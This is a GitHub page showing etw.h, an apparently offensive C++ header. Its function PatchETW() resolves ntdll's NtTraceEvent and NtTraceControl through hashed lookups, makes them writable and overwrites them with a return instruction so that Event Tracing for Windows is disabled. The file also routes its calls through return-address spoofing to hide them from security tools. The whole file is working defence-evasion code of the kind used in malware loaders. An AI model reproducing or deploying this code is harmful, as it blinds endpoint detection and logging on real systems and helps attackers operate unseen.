-
Notifications
You must be signed in to change notification settings - Fork 55
/
Copy pathetw.h
73 lines (46 loc) · 2.67 KB
/
etw.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#pragma once
#include <windows.h>
#include <iostream>
#include "functions.h"
#include "retaddrspoof.h"
#include "types.h"
#include "resolvers.h"
#include "defs.h"
extern PVOID Gdgt;
int ValidateMemory(const void * ptr1, const void * ptr2, size_t num){
int result = reinterpret_cast<int>(RetSpoofCall(memcmp, 3, Gdgt, ptr1, ptr2, num));
return result;
}
void PatchETW() {
HMODULE hNT = GetLoadedDllHandleH(776560387);
unsigned char* pNtTraceEvent = reinterpret_cast<unsigned char*>(GetFunctionAddressH(hNT, 2226474731));
unsigned char* pNtTraceControl = reinterpret_cast<unsigned char*>(GetFunctionAddressH(hNT, 2097340520));
unsigned long dwOldProtectionEvent = 0;
unsigned long dwOldProtectionControl = 0;
unsigned long long ntsize = 1;
unsigned char* ControlProtectionOffset = pNtTraceControl + 3;
unsigned char* EventProtectionOffset = pNtTraceEvent + 3;
unsigned char sourceBuffer = 0xC3;
NTSTATUS Controlstatus = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &ControlProtectionOffset, &ntsize, PAGE_EXECUTE_READWRITE, &dwOldProtectionControl));
NTAPI_VALIDATE_RETURN2VOID(NtProtectControl, Controlstatus);
NTSTATUS Eventstatus = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &EventProtectionOffset, &ntsize, PAGE_EXECUTE_READWRITE, &dwOldProtectionEvent));
NTAPI_VALIDATE_RETURN2VOID(NtProtectEvent, Eventstatus);
RetSpoofCall(memcpy, 3, Gdgt , ControlProtectionOffset, &sourceBuffer, sizeof sourceBuffer );
if (ValidateMemory(ControlProtectionOffset, &sourceBuffer, sizeof(sourceBuffer)) != 0) {
fprintf(stderr, "Error: failed to patch etw function NtTraceControl: Data mismatch after copy.\n");
return;
}
RetSpoofCall(memcpy, 3, Gdgt , EventProtectionOffset, &sourceBuffer, sizeof sourceBuffer );
if (ValidateMemory(EventProtectionOffset, &sourceBuffer, sizeof(sourceBuffer)) != 0) {
fprintf(stderr, "Error: failed to patch etw function NtTraceEvent: Data mismatch after copy.\n");
return;
}
Controlstatus = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &ControlProtectionOffset, &ntsize, dwOldProtectionControl, &dwOldProtectionControl));
NTAPI_VALIDATE_RETURN2VOID(NtProtectControl2, Controlstatus);
Eventstatus = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &EventProtectionOffset, &ntsize, dwOldProtectionEvent, &dwOldProtectionEvent));
NTAPI_VALIDATE_RETURN2VOID(NtProtectEvent2, Eventstatus);
#ifdef _DEBUG_PRINT
std::cout << "[DEBUG] Patched ETW !\n";
#endif
return;
}